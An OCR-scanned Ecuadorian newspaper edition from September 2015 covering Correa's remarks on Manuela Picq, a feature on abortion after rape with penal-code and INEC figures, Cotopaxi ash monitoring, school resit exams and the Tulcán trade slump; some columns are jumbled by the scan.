@lahoraecuador ¿Cómo aprovechar a la papa? ° “#Cocina La papa, delicioso y sano comple-

mento para su comida” fue el tuit favorito de esta semana. En el reporte se explica el valor nutricional del tubérculo. IMPRESIONES 4.128

Plantón en favor de Arregui ° El tuit: “Manifestantes esperan disculpas

públicas de Alexis Mera, secretario jurídico de la Presidencia”, fue uno de los favoritos en Twitter esta semana. IMPRESIONES 4.128

www.lahora.com.ec Paloma Fiuza causa sensación en Instagram

° La nota sobre una fotografía colgada por la presentadora brasileña en su cuenta de Instagram fue la más vista por nuestros lectores. En esta foto en la que Paloma muestra más de la cuenta impactó en esta red social. Con tan solo 15 horas de publicada la imagen, alcanzó 4.395 ‘Me gusta’.

La Hora en resistencia ° Otra de las notas más leídas por

nuestro lectores en nuestra web (durante esta semana) es el anuncio de Diario La Hora de acogerse al derecho a la resistencia contemplado en la Constitución, esto ante un nuevo proceso abierto por la Supercom, que pide la réplica a un aviso pagado. 2.822 VISTAS

Correa califica como ‘inmadura’ a Manuela Picq CATEDRÁTICA. Manuela Picq salió del país luego de que se le revocara su visa.

3.249 VISTAS

El presidente de la República, Rafael Correa, arremetió ayer contra la catedrática francobrasileña Manuela Picq, pareja del presidente de la Ecuarunari, Carlos Pérez Guartambel, quien abandonó el país el 20 de agosto luego de que la Cancillería le revocara su visa. Durante su enlace sabatino transmitido desde la parroquia de Chillogallo (Quito), el mandatario afirmó que la conoció en la Universidad San Francisco de Quito, donde los dos dictaban cátedra. “Una mujer muy bella, pero muy inmadura que le encantaba ser el centro de atención. Vivía en Miami (EE.UU.), tenía un novio gringo y nunca fue ni indigenista, ni izquierdista, peor periodista”, aseguró Correa. Añadió que fue detenida por agredir a los policías durante el paro del 13 de agosto protagonizado por sectores indígenas y obreros contra del Régimen, con lo que justificó su salida al asegurar que tenía visa de intercambio cultural, por lo que no podía participar en esa serie de manifestaciones políticas. En el mismo sentido, criticó que medios de comunicación internacionales se hicieron eco de la situación vivida por Picq en Ecuador, argumentando que no muestran la realidad de lo que, para el Gobierno, en realidad sucedió.

el Primer Mandatario responde a un discurso patriarcal, machista, colonial y discriminatorio, similar a cuando se refiere a los dirigentes indígenas de oposición. Aseguró que su pareja no agredió a policía alguno y que, más bien, ella fue la agredida. Además destacó su trabajo con las comunidades, especialmente en Chimborazo. “Si ella se quedó en el Ecuador es precisamente porque le gustó tanto las comunidades donde tuvo mucha conexión. Con el pueblo Puruhá tiene una estrecha vinculación”. Agregó que Picq ha escrito sobre el tema indígena de varias regiones para algunas publicaciones internacionales, que es una demostración de que no solamente “predica sino que practica la ‘cosmovivencia’ del mundo indígena”. Por su parte Cristina Cachaguay, del colectivo Mujeres por el Cambio, rechazó las expresiones del Presidente por considerarlas una forma más de violencia hacia la mujer en general. “Es un rechazó total a la forma como él insulta y agrede. Nuevamente, con su forma machista de pensar y actuar, señala a una mujer que simplemente estuvo acompañando a su pareja en una lucha justa, democrática, que los pueblos y organizaciones sociales hemos venido levantando por mejores condiciones de vida”.

Las reacciones

Visa Mercosur

Pérez aseguró que lo dicho por

Manuela Picq trata de obtener

Viaje a la asamblea de la ONU ° El presidente, Rafael Correa, se prepara para asistir a la septua-

gésima Asamblea General de la Organización de las Naciones Unidas (ONU), que se cumplirá en Nueva York, Estados Unidos, a fines de este mes. El objetivo será preparar la Cumbre del Ambiente que tendrá lugar a finales de año en París. Según Correa, a pesar de que en su momento manifestó que no participará en ese tipo de asambleas, añadió que luego de conversar con el secretario general de la ONU, Ban Ki moon, decidió acudir a la reunión para que se conozcan las propuestas de Ecuador sobre el tema. “Es la septuagésima Asamblea General de las Naciones Unidas, puede ser la más importante de la historia y servirá para preparar la cumbre del ambiente en diciembre, en París, que puede cambiar la historia de la humanidad”, señaló Correa durante el enlace sabatino de ayer.

la visa Mercosur que le permitiría volver al Ecuador. Según su pareja, Carlos Pérez, desde hace 10 días aproximadamente en que inicio el trámite, este ha sido rechazado por cerca de tres ocasiones argumentando diferentes “pretextos”. “Solo sabemos que en casos similares tardan dos días para conferir una visa Mercosur. En este caso lleva ya 10 días”, aseguró el dirigente indígena. (HCR)

HORA CERO

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR I

ABORTO:

¿QUÉ PASA SI ES FRUTO DE UNA VIOLACIÓN? Leyes sobre el aborto en América Canadá POLÉMICA. En medio del dolor por lo sucedido, la mujer debe enfrentarse a tan difícil decisión.

Estados Unidos

México

Bahamas

Rep. Domin. P. Rico JamaicaHaití Antigua Sta. Lucía Guatemala Honduras y Barbados Trinidad y Tobago El Salvador Guyana Venezuela Nicaragua Surinam Panamá Guyana Colombia Costa Francesa Rica Ecuador Cuba Belice

Simbología

Brasil

Perú

Para salvar al vida de la mujer o prohibido totlamente

Bolivia

Para preservar la salud Razones socioeconómicas

Chile

Sin restricciones en cuanto a la razón

Uruguay Argentina

No disponible Elaboración: LA HORA

Lo que dice el Código Penal Sobre el aborto

Artículo 147: Si el aborto trae como consecuencia la muerte de la madre la pena será de 7 °a 10 años de cárcel para quien lo practicó, si es que el procedimiento fue consentido y de 13 a 16 años si no lo fue.

148: Si el aborto no fue consentido por la mujer, la pena será de entre 5 y 7 años °deArtículo prisión para quien se lo practicó. Artículo 149: Si el aborto fue consentido por la mujer, la pena será de entre 1 y 3 años para °quien se lo practicó y de entre 6 meses y 2 años para la madre. Artículo 150: El aborto no será punible cuando se quiere evitar una situación de peligro a la °mujer embarazada y cuando se trata de una mujer con discapacidad mental.

15.783 mujeres que decidieron abortar en 2014 tuvieron complicaciones y fueron a parar a un hospital. Aunque penada, esta es una práctica real. ¿Qué es lo mejor para la madre, para el bebé? Esa es la pregunta.

‘

POR: ALEXIS SERRANO CARMONA

Paula’ es una colombiana de 23 años de edad que vino a Ecuador huyendo de las amenazas de la guerrilla. El año pasado, cuando regresaba a la casa con su hija de dos años en brazos, tres tipos la abordaron y la violaron. Ella quiso evitar que la pequeña se asustara y actuó como si todo fuera un juego. Así, entre los tres se turnaron para abusar de ella y sostener a la niña. Ella no tenía a nadie más y vivía solo de trabajos esporádicos. En medio del trauma, tuvo que enfrentarse a la decisión más difícil cuando se enteró de que producto de esa violación había quedado embarazada. Asesorada por el Frente por los Derechos Sexuales y Reproductivos, abortó. No tuvo complicaciones. Si alguien le hubiera denunciado, ‘Paula’ se habría podido enfrentar a una pena de entre seis meses y dos años de prisión. Así quedó establecido en el Código Penal, vigente desde 2014. Sin embargo, ella lo hizo con asesoría médica y en un lugar catalogado por los activistas como seguro. Ilegal o no, muchas mujeres en el país toman la decisión de inte-

rrumpir un embarazo. El Instituto Nacional de Estadística y Censos (INEC) publicó el fin de semana pasado su último anuario de estadísticas hospitalarias, que revela que el año anterior hubo 17.882 abortos no espontáneos, lo que representa el 5,31% del total de embarazos registrados. De esos, la gran mayoría (15.783) tuvieron alguna complicación por tratarse de abortos clandestinos. No existe una cifra sobre cuántos de esos embarazos fueron productos de una violación, pero las activistas Ana Cristina Vera, de la fundación Surkuna, y Virginia Gómez de la Torre, del Frente por los Derechos Sexuales, coinciden en que es un porcentaje alto. Para ellas, la cifra entregada por el INEC puede al menos triplicarse en la vida real porque hay quienes abortan y no sufren complicaciones y sus casos pasan desapercibidos. Lo que sí dicen los datos es que 4.155 niñas y adolescentes de entre 10 y 14 años resultaron embarazadas en 2014. Y, dado que el propio Código Penal establece que cualquier relación sexual con una menor de 14 años, por más que

haya sido consentida, se considera violación, al menos esas 4.155 violaciones terminaron en embarazo. La situación en el país

La entrada a la maternidad Isidro Ayora, en Quito, esta llena de corredores largos, fríos y oscuros. Al mediodía de ese miércoles, el lugar se convierte en un desfile constante de niños cargando niños. Una de las doctoras que trabajan en el lugar asegura que más del 40% de los partos que allí se dan es de adolescentes menores de 19 años y calcula que casi una de cada 10 mujeres ha quedado embarazada producto de una violación, aunque no es un dato oficial. Estas víctimas suelen llegar con una autoestima muy baja y hasta con tendencia a sentirse culpables. A pensar que no se supieron cuidar bien, o que estuvieron en el lugar equivocado. La doctora agrega que es común que vinculen al bebé con el trágico momento que debieron pasar. Ella recuerda el caso de una chica de 13 años que fue violada y durante todo su embarazo recibió terapia sicológica para ayudarle a aceptar al bebé. Sin

embargo, en el momento en que manifestaciones de apoyo. En nació y las enfermeras quisieron Venezuela el aborto está penado dárselo, lo rechazó y pidió que se en cualquier circunstancia. Argentina es caso aparte. El lo llevarán. Vera cuenta que han escu- Código Civil, que data de 1921, chado a madres decir algo como: lo prohíbe, pero en la práctica es ‘quítenme esa cosa de encima’ o permitido, a partir de un fallo de la Corte Suprema de Justicia, en ‘llévense eso de aquí’… Luego de varios meses de 2012, luego de que se hizo público acalorados debates, de protestas el caso de una menor abusada por en las calles y de que dos legisla- su padrastro. Hace poco, el Minisdoras oficialistas fueran sancio- terio de Salud reavivó la polémica nadas por expresar su opinión porque emitió un controvertido a favor, finalmente la Asamblea ‘protocolo’ en el que se habla de Nacional negó la legalización del aborto legal, sin límite. Y en esa polémica se hallan ahora. aborto por violación. Quizás el país en el que más En el Código Penal quedaadelantado está el tema ron establecidas dos cires Colombia. Allí el aborcunstancias en las cuales EL DATO to por violación es legal un aborto no es punible: desde 2006. Sin embarcuando se pretende evitar una mujer que un peligro para la vida o la Si fue violada acude go, quedó establecido que un médico puede tener salud de la madre y cuan- a un hospital público hasta 72 objeción de conciencia. do hay una violación a una horas después delito recibirá Es decir, por sus princimujer con discapacidad del la llamada ‘píldopios, negarse a practicar mental. ra del día desy antirretro- uno. Sin embargo, tiene Sin embargo, según pués’ virales. la obligación de remitir Vera, las cifras publicael caso a un colega que no das por el INEC deben tenga problema con hadar paso a que, al menos CIFRAS cerlo, lo cual, tampoco se a nivel de sociedad, se reacumple siempre. bra el debate. Según ella, desde 2008, cuando las de los embaraorganizaciones comenza- zos registrados El eterno debate en 2014 resulta- Para las organizaciones ron a pronunciarse públi- ron en un aborto camente, la ‘penalización no espontáneo. que defienden el aborto social’ del aborto por viopor violación, es fundalación ha bajado notablemental que en algún momente. mento las víctimas de este MUJERES Hacerse un aborto en representa ese delito lleguen a tener ofiporcentaje. Ecuador puede costar descialmente la capacidad de de 200 hasta 2.000 dóladecidir si tienen al bebé. res, aunque también hay ‘redes Gómez de la Torre argumensolidarias’ que pueden llegar a ta que un embarazo de ese tipo hacerlo de forma gratuita. Pero termina siendo “un proyecto de en esta gama está también otro vida que una mujer no escogió”. factor. “La ilegalidad trae riesgo”, Que debería ser una decisión dice Gómez de la Torre. propia sobre su cuerpo y sobre “Existen sitios que son muy su futuro pero que actualmente seguros para abortar. Y eso se va son “una sociedad, un Estado, transmitiendo entre los propios un Gobierno los que terminan jóvenes. Siempre hay una chica imponiendo un embarazo”. “Esque le recomienda un lugar a su tán obligándola a parir al hijo del amiga, esto existe”, explica. violador”. Piensa que el problema es que la situación no está asegurada ni En la región En Sudamérica la situación del para el bebé ni para la mamá. aborto por violación es diversa. Que muchas veces después de En Chile actualmente es ilegal dos, tres y hasta cinco años del pero se está debatiendo en la parto, ella comienza a generar Cámara de Diputados. En Perú rechazo al niño, a maltratarlo. Y también es ilegal pero esta sema- concluye que, independiente de na la Primera Dama se pronun- la decisión tomada por la víctició a favor, lo que desató varias ma, el Estado debería generar un

5,31%

17.882

HORA CERO

sistema de protección integral. Por supuesto, no todas las mujeres que pasan por esto deciden abortar. El ejemplo contrario lo marcó una adolescente de 12 años que hace poco menos de un mes se enteró de que está embarazada tras haber sido violada reiteradamente por un joven de 18 y decidió tener el bebé. Del lado de este tipo de decisiones están los autodenominados activistas pro vida. Una de ellas es Giuliana Maldonado. Para ella, la vida humana se considera como tal desde el momento de la concepción. Y que una mujer haya sido violada no le parece motivo suficiente como para que decida abortar. Según dice, gran parte de las violaciones se dan por miembros de la propia familia y el círculo íntimo de la víctima. Y suele ser el propio atacante el que luego quiere obligar la suspensión del embarazo. “En esos casos, sería como proteger al violador, ocultar el caso”. Pero, aunque fuera un desconocido, Maldonado asegura que se debe “respetar la vida” y

La adopción como alternativa En los hospitales públicos, dada la imposibilidad de abortar, los médicos suelen recomendar la adopción como alternativa para las madres que no quieren tener a sus bebés tras una violación. Sin embargo, la doctora de la maternidad Isidro Ayora consultada para este trabajo asegura que muy pocas mujeres la aceptan. Recuerda el caso de una joven de 13 años cuya familia ocultó el embarazo para evitar comentarios e incluso inventaron que la adolescente se había ido fuera del país. Cuando dio a luz entregó a su hijo en adopción. Sin embargo, a las pocas semanas se arrepintió e inició un proceso legal para que se lo devolvieran. Ese proceso resultó ser “tan largo y engorroso”, según la doctora, que la chica volvió a tener a su hijo entre los brazos recién cuando cumplió un año de edad.

día se topan con el dilema central: ¿Qué es mejor para la madre violada? ¿Qué es mejor para el bebé producto de esa violación? Y no hay una respuesta irrefutable. Eso lo confirma la doctora de la maternidad Isidro Ayora. “Muchas veces nosotros nos preguntamos lo mismo en el momento en que nace el bebé. Si la madre lo acepta, no se sabe hasta cuándo lo hará. Si no lo acepta, no se sabe si se arrepentirá. Sabemos que el tema es ilegal y nosotros tenemos la prohibición de pensar en abortos, pero el dilema siempre está”. La única forma de legalizar el aborto por violación sería una reforma al flamante Código Penal. Sin embargo, Ana Cristina Vera cree que mientras el actual Régimen esté en el poder, este es un tema cerrado. “El Gobierno se perdió una oportunidad histórica”, opina. Y, por lo pronto, no se equivoca. El asambleísta Fausto Cayambe (PAIS), al ser consultado sobre la posibilidad de una reforma en este sentido, se limita a contestar: “No podría decir nada porque en nuestra bancada ni siquiera hemos tratado el tema”.

ACTIVISMO. Este es uno de los cartelones que pegaron las activistas durante el debate del Código Penal.

REALIDAD. Más de 4.000 menores de entre 10 y 14 años quedaron embarazas el año anterior.

DOMINGO 16 DE AGOSTO DE 2015 La Hora , ECUADOR

que para ambos casos dar a luz y entregar al bebé en adopción es una alternativa que considera adecuada. “¿A razón de qué podemos creer nos consideramos capaces de decidir quién vive y quién muere? ¿Por qué no digo: ‘matémosle al violador’? Porque estoy respetando su vida. Entonces ¿Por qué no darle al bebé al menos el mismo respeto que al violador?”, cuestiona la activista. El tema es tan complejo que incluso los médicos en su día a

Tratamientos hospitalarios 2014 Causa / Diagnóstico Embarazo, parto y puerperio Aborto espintáneo

335. 277

5.488

Aborto médico

1.715

Otro aborto

384

Aborto no específico

15.783

Intento fallido de aborto

85 0

10.000

15.000

20.000 Elaboración: LA HORA

Fuente: INEC

Embarazos 2014 (por edad) 150000

130.756

120000

87.546

90000

70.914

60000

40.450

30000

4.155 0 Fuente: INEC

10 - 14 años

1.456 15 - 19 años

20 - 24 años

25 - 34 años

35 - 44 años

45 - 54 años Elaboración: LA HORA

CYAN MAGENTA YELLOW BLACK

PAÍS B4

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Comité atento a la caída de polvo volcánico en Tababela Un Comité de Coordinación de Crisis se encargará de decidir la forma en que el aeropuerto de Quito, ubicado en Tababela, responderá en caso de caída de ceniza proveniente del volcán Cotopaxi. Así lo ratificaron la Dirección de Aviación Civil y Quiport, que anticiparon que posibles medidas como cierres, suspensiones o desvíos de rutas aéreas serán decididas por este Comité y sobre la base de reportes oficiales que contengan datos científicos como la cantidad de ceniza, la dirección y la fuerza de los vientos y factores climáticos. A través de un ‘notam’ o notificación aeronáutica a escala mundial, las autoridades prevén informar a todas las aerolíneas nacionales e internacionales las novedades para que, de ser el caso, desvíen sus vuelos a otras terminales aéreas. El Comité se instaló el 14 de agosto y en él participan delegados técnicos de la Dirección de Aviación Civil, Quiport, aerolíneas y la Empresa Pública Metropolitana de Servicios Aeroportuarios. (JCER) P

NACIONAL

Técnicos analizarán la ceniza del Cotopaxi El informe del estudio lo dará a conocer el Ministerio Coordinador de Seguridad. QUITO, EFE • Científicos

del Instituto Geofísico (IG) de Ecuador recogieron ayer muestras de la ceniza arrojada por el volcán Cotopaxi, para evaluar el proceso eruptivo del coloso. Esto lo informó el Ministerio Coordinador de Seguridad, al indicar que la actividad interna actual del macizo es “alta”, mientras que la superficial es “moderada”, con frecuentes exhalaciones de gas, vapor y ceniza. El último informe del Ministerio precisa que las bocanadas de vapor y gases que emite el volcán contienen “cargas bajas de ceniza”, y que la nube que forman esas exhalaciones se han dirigido, por efecto de los vientos, al oeste y suroeste de la montaña. La Policía ha reportado la caída de polvo volcánico en sectores como El Chaupi y Machachi, en Pichincha.

Trabajos y recorridos

El Ministerio indicó que personal del Geofísico realizó ayer “trabajos técnicos en campo para recoger muestras de ceniza y levantar otras

RIESGO. El Cotopaxi es actualmente uno de los más activos junto al Tungurahua, el Reventador y el Sangay.

mediciones que ayuden a electricidad situada en Mu- Atención en zonas afectadas evaluar el avance del proceso laló, hacia el sur del volcán. Las acciones efectuadas por Dichas autoridades han revi- otras instituciones del Estaeruptivo”. sado los planes de con- do han incluido la atención También indica que tingencia, que inautoridades de los mi- EL DATO al ganado de varias cluyen “medidas nisterios Coordinador zonas afectadas por necesarias ante de Seguridad y de Secla ceniza, mientras 3 una posible ametores Estratégicos efec- Cotopaxi, que la Secretaría de MIL Pichincha y tuaron recorridos por Napo se encuen- naza” natural, pobladores de Gestión de Riesgos y participaen la zona con el objetivo de Mulaló obras de protección de tran ron en el último el Ministerio de Salud de influencia tuberías petroleras en el cercana del vol- proteger la gene- simulacro de eva- han entregado mascacuación. cán, por cuya norte de la montaña, así actividad se ha ración y la transrillas a habitantes del declarado alerta misión de energía como de una subesta- amarilla. barrio Aláquez, situaeléctrica. ción de transmisión de do al sur del Cotopaxi.

ECUADOR Y FRANCIA, A 280 AÑOS DE LA MISIÓN GEODÉSICA PROGRAMA PEDRO VICENTE MALDONADO En 2016 se celebrará la tercera Misión Geodésica Francesa. Desde la primera misión, que determinó la Latitud Cero en Ecuador, los vínculos son muchos, especialmente en el ámbito educativo. Este año, la SENESCYT y la Alianza Francesa de Quito firmaron un convenio para la implementación de un proyecto de nivelación en francés del Grupo de Alto Rendimiento (GAR). El GAR está conformado por estudiantes que han obtenido los mejores resultados en el examen nacional de ingreso a la universidad, los cuales reciben una beca por parte de la SENESCYT para la realización de sus estudios superiores en Ecuador o en el extranjero. Antes, solo se proponía una formación en inglés y en ciencias al 85% de los integrantes del GAR que decidían estudiar en el extranjero.

Desde mayo de 2015, 14 estudiantes que integran el primer grupo del ambicioso programa de cooperación educativa entre Francia y Ecuador ‘Pedro Vicente Maldonado’ (nombre del primer ecuatoriano miembro de la Academia de Ciencias de París), siguen los cursos en la Alianza Francesa de Quito. El programa propone una nivelación en francés de 1100 horas en un periodo de ocho meses. La formación incluye el aprendizaje del francés con certificación internacional por parte de la Alianza Francesa; una nivelación en matemáticas, química, biología y física, dictada por profesores de La Condamine; una formación en ciudadanía e interculturalidad; un seguimiento psicológico y emocional personalizado; así como un apoyo de la oficina de promoción de los estudios en Francia, Campus France.

Este mes, la séptima promoción del Grupo de Alto Rendimiento (GAR) que ha elegido la nivelación en francés, ha empezado la formación académica en ciencias. Los estudiantes que aplicarán a universidades francesas viajarían en septiembre de 2016. Ellos se sumarán a los 500 estudiantes ecuatorianos que actualmente se encuentran estudiando en ese país. En la lista de excelencia de la Senescyt, constan los nombres de 17 establecimientos franceses de enseñanza superior. Alianza Francesa de Quito http://www.afquito.org.ec/ facebook.com/alianzafrancesaquito Embajada de Francia en Ecuador www.ambafrance-ec.org/-Espanolfacebook.com/embajadadefranciaenecuador

El examen de gracia va a evaluación

PAÍS I

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Profesores, estudiantes y padres no están de acuerdo que el examen sea después de iniciado el año lectivo.

Los estudiantes que se quedaron nos la calificación mínima en el en una materia tienen alrededor examen de gracia. El modelo es cuestionado por de un mes para prepararse para el examen de gracia, que se rinde los profesores, confesó Espinosa luego de una reunión que mana finales de septiembre. Mientras tanto seguirán en tuvo con ellos. Al momento está clases, realizarán los deberes y previsto hacer una reforma para tendrán otras evaluaciones sin que esta prueba se aplique antes saber con certeza si permanece- del inicio de clases. Espinosa no rán en el nivel en el que están o si especificó la fecha para este cambio. deben regresar al anterior. El Ministerio de Educación todavía no da a conocer Incertidumbre cuántos alumnos tendrán EL DATO Sergi Suárez (17) se queque rendir la prueba, pero dó en Inglés. Ingresó a según su titular, Augusto tercero de bachillerato 91% de los Espinosa, será un número El estudiantes de la en el colegio Manuela Costa aprobaron Cañizares de Quito y tensimilar al de la Costa. año sin probleEn el período 2014- el drá que prepararse para mas y el 7% se quedó en suple- el examen de gracia. 2015, el 1% de los alumtorios. nos rindió el remedial Su madre, Marta Sun(segunda oportunidad); taxi, no está de acuerdo sin embargo, el Ministro no es- con que esta evaluación se aplipecificó cuántos de ese porcen- que una vez iniciado el año. “Es taje finalmente tuvieron que frustrante para el estudiante y dar el de gracia. para la familia”, comentó. Esa evaluación está vigente Si bien reconoce que su hijo es desde la aplicación del regla- responsable por no pasar el año, mento a la Ley Orgánica de Edu- cree que la metodología que aplicación Intercultural (LOEI), que ca el Ministerio es inadecuada ingresó en el Registro Oficial el porque los estudiantes reciben 26 de julio de 2012 y que se ha nuevas materias y calificaciones, reformado en tres ocasiones. se les entrega los libros corresEl Art. 214 establece que pondientes a ese año y existe un cuando un estudiante reproba- esfuerzo de profesores y alumse un remedial de una sola asig- nos que podría resultar en vano. natura “podrá asistir al grado o “Es pérdida de tiempo. No es un curso siguiente de manera tem- mecanismo adecuado”, acotó. poral”, hasta que obtenga al meAngie Sornoza (14) tuvo que

CLASES. Los estudiantes de la Sierra y Amazonía retornaron a las aulas.

pasar por esa experiencia el año lectivo 2013-2014. Se quedó en Matemáticas cuando ingresaba a noveno de educación básica. “Deberíamos dar los exámenes antes de entrar porque que nos regresen después de un mes es perder clases en el otro curso”, dijo. Juan Carlos Rojas, profesor de Ciudadanía y Economía en tercero de bachillerato del colegio Simón Bolívar de Quito, ratificó que conversaron con el Ministro sobre el tema. “Se dan muchas oportunidades y prácticamente nosotros tenemos que justificar

Afectaciones sicológicas y emocionales estudiante que rinde un examen de gracia y pierde el año, por lo que tiene °queElretornar al anterior después de estar un mes en clases, padece de “vergüenza y estigma”, explicó el terapeuta familiar Pablo García, quien considera que una de las consecuencias es la disminución de la autoestima. “Existe un desgaste fuerte, familiar e individual”, explicó sobre las tres oportunidades que tienen los alumnos para pasar el año. Además, comentó que no se sostiene la consecuencia o el “escarmiento” porque el alumno aspira obtener la nota mínima o alcanzar el puntaje hasta la tercera oportunidad. “El método no es muy efectivo, porque se terminan quedando los mismos. No se ha hecho una revisión adecuada de los impactos”, agregó García, quien considera que el examen debería ser antes de empezar el año lectivo.

por qué un estudiante perdió el año”, comentó. De lo que él conoce, posiblemente para el

próximo año se elimine el examen de gracia. Espinosa tendrá que confirmarlo. (AGO)

Computación no es una materia en el currículo La modalidad de combinar El aprendizaje sobre el uso de las tecnologías, que va más allá las materias con la tecnología de conocer cómo funciona una es nueva, confirmó Fabián Cacomputadora y sus programas rrera, vicerrector del instituto básicos, se realizará a través de superior Luis Napoleón Dillon, en Quito. Hasta hace tres la enseñanza de otras maaños, los estudiantes de terias en las escuelas y co- EL DATO octavo, noveno y décilegios públicos. mos de básica recibían Dentro de la malla cuprimero de dos horas semanales de rricular vigente, que se Solo bachillerato aplica para este año lec- tiene en la malla computación. materia Esto se lo hacía bajo la tivo en la Sierra y Ama- una denominada zonía y que es usado en ‘Informática apli- asignatura de educación cada a la educaestética, que lo dividían la Costa, se establece a la ción’, según en la entre arte y tecnología. Sin informática y a las tecno- consta página web del embargo, tras una disposilogías como “un compo- Ministerio. ción del Ministerio fue sunente obligatorio dentro de las distintas materias”, con- primida y se convirtió en un club firmó el ministro de Educación, el año pasado. Para el período 2015-2016 se Augusto Espinosa. Los estudiantes de educación utilizarán las cuatro materias general básica, de primero a dé- básicas: Lengua y Literatura, cimo, no tienen ninguna materia Matemáticas, Ciencias Sociales dedicada exclusivamente a com- y Ciencias Naturales para vinputación. Lo mismo ocurre para cularlas con Informática. En el segundo y tercero de bachillerato. bachillerato técnico se usarán las

asignaturas de Emprendimiento e Índices Financieros con el mismo propósito. Los profesores tienen la obligación de utilizar con sus alumnos una vez por semana los laboratorios de computación en el Dillon. Cómo funciona

El uso de las computadoras y las clases del profesor no se restringen a conocer el funcionamiento de las hojas de texto y de cálculo o a ingresar a Internet, como ocurría años atrás. El maestro enseña a sus estudiantes a utilizar herramientas tecnológicas basadas en la materia, especialmente para investigar, explicó Carrera. “En el pasado, cuando no había una familiarización de la tecnología había que enseñarles, por ejemplo, para qué sirve el teclado”, dijo Espinosa. El vice-

ESTUDIO. Los alumnos se reúnen en el laboratorio de informática para investigar.

rrector reconoce, inclusive, que los estudiantes tienen, en ciertos casos, mejor manejo de la tecnología que los maestros. “Los profesores tienen la obligación de usar las computadoras y son los que instruyen a los estudiantes en el uso de aplicación específicas”, añadió el Ministro, quien agregó que en las horas de clubes, que son tres semanales, se pueden crear proyectos tecno-

lógicos para los estudiantes que “quieran desarrollar mayores habilidades”. Anita M., de primero de bachillerato del Dillon, todavía no sabe exactamente cómo será su horario de clases con este cambio. Para ella todavía es importante que se enseñe a manejar la tecnología, porque hay estudiantes que no dominan los recursos tecnológicos. (AGO)

La caída comercial en Tulcán podría llegar al 50%

EFECTIVO B6

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

META. El objetivo es estabilizar el precio del crudo.

Maduro propone cumbre de OPEP con otros productores petroleros CARACAS, EFE • El

presidente venezolano, Nicolás Maduro, propuso ayer a la Organización de Países Exportadores de Petróleo (OPEP) una cumbre de jefes de Estado con las naciones productoras de crudo no asociadas al organismo, en busca de estrategias que permitan la “estabilización” de los precios del crudo. “Creo necesaria una cumbre de jefes de Estado de la OPEP y hemos propuesto que sean invitados países productores de crudo que no pertenezcan a la organización”, dijo en declaraciones a la emisora Telesur con sede en Caracas. El gobernante de Venezuela, nación que con tres millones de barriles diarios es la quinta mayor productora mundial de crudo, dijo que ya escribió “a todos los jefes de Estado de la OPEP” con ese objetivo y les presentó algunas “ideas para la estabilidad del mercado”. “La exigencia energética del mundo crece a diario y la inestabilidad (de los precios) perjudica a los productores”, argumentó y propuso que esos acuerdos deben lograr “un piso mínimo de 70 dólares” por barril. “Las inversiones energéticas deberían tener un piso y un techo. La demanda es cada vez mayor. El petróleo a 40 o 50 dó-

Morales llama a ‘ajustarse los cinturones’ °

El presidente de Bolivia, Evo Morales, advirtió ayer sobre “problemas económicos” en su país por el desplome de los precios internacionales del petróleo, y llamó a los bolivianos a ‘ajustarse los cinturones’. “Lamentablemente, por la rebaja del precio del petróleo, estoy seguro que este año o el próximo año vamos a tener problemas económicos”, dijo en un acto público en la universidad estatal de Pando. LA PAZ, AFP

lares no sostiene inversiones”, explicó. El precio del barril de crudo venezolano registró esta semana una media de 42,66 dólares, en tanto que el de la cesta de la OPEP, organismo del cual Venezuela es miembro fundador, se situó en 46,57 dólares. El mercado mundial de compraventa de crudos “debe recuperar estabilidad a corto y mediano plazo” y en ese empeño los países del cartel deben buscar acuerdos con países “que no pertenecen a la OPEP”, como es el caso de Rusia, insistió.

El fortalecimiento del dólar y la devaluación del peso son factores que influyen. La devaluación del peso colombiano frente al dólar está teniendo consecuencias graves para muchos sectores productivos del norte de Ecuador, que desde hace meses ha visto menguar sus ventas a la par que aumenta el flujo de compradores que cada día se dirigen a Colombia. Tras estimar que 35% de 3.200 comercios han cerrado durante los últimos meses, el presidente de la Cámara de Comercio del Carchi, Nelson Cano, dijo que ve “bastante compleja” la situación económica de su provincia y afirma que un 15% de los comercios restantes lleva a cabo inventarios, por lo que la caída de la actividad comercial podría llegar al 50% y pide más medidas de apoyo, como la apertura de líneas de crédito con tasas de interés preferenciales. Según Cano, quien cita datos de la Cámara de Comercio de Ipiales (Colombia) de lunes a jueves entran más de 500.000 dólares diarios en el país vecino a través de estas ventas, ya que cada día pasan a territorio de Colombia entre 16.000 y 20.000 vehículos, mientras que de viernes a domingo lo hacen 17.000. Cano afirma que por las calles de Tulcán se ven más rótulos de “se arrienda”, pues muchos comerciantes llegados a la provincia en momentos de prosperidad económica están cerrando ahora sus negocios.

QUITO, EFE •

SITUACIÓN. El cierre de locales comerciales es un tema que sigue preocupando en Carchi.

Medidas frente a la crisis

Carchi y en particular Tulcán han sido los más afectados por el problema, que esta semana llevó al Gobierno a pedir a los ecuatorianos que adopten “una actitud patriótica” y compren productos nacionales para fortalecer la economía. Junto a esto y también para frenar la salida de dólares, se ha puesto en marcha en esa provincia medidas como exoneraciones fiscales, incentivos tributarios a la generación de empleo y facilidades para la refinanciación de deudas a través de entidades públicas. El dólar frente al peso

El fenómeno coincide con el fortalecimiento del dólar, que en la actualidad se cambia a cerca de 3.100 pesos colombianos, lo que favorece a los ciudadanos de un país dolarizado. El Gobierno viene adoptando desde hace meses medidas para hacer frente a este choque, que se complica más por la caí-

Análisis ° El economista Jaime Carrera, director del Observatorio de

Política Fiscal de Ecuador, piensa que las exportaciones no petroleras no pasan por un buen momento, que las remesas de los ecuatorianos en el exterior están bajando y que tampoco hay mucho margen para el endeudamiento exterior del Estado, extremos que niega el Gobierno. En su opinión, una solución sería una mejora de la productividad a menores costos, “pero eso es tarea de largo plazo”, por lo que solo se puede esperar “que el dólar se vuelva a debilitar para que el peso (colombiano) se aprecie” y deje de ser tan atractivo cruzar la frontera para ir “de compras”.

da del precio del petróleo. Medidas como recortes de más de 2.000 millones en el presupuesto nacional y la aplicación de salvaguardias aduaneras a cerca de un tercio de las importaciones tratan de hacer frente a un impacto derivado de una situación cuya solución no parece fácil.

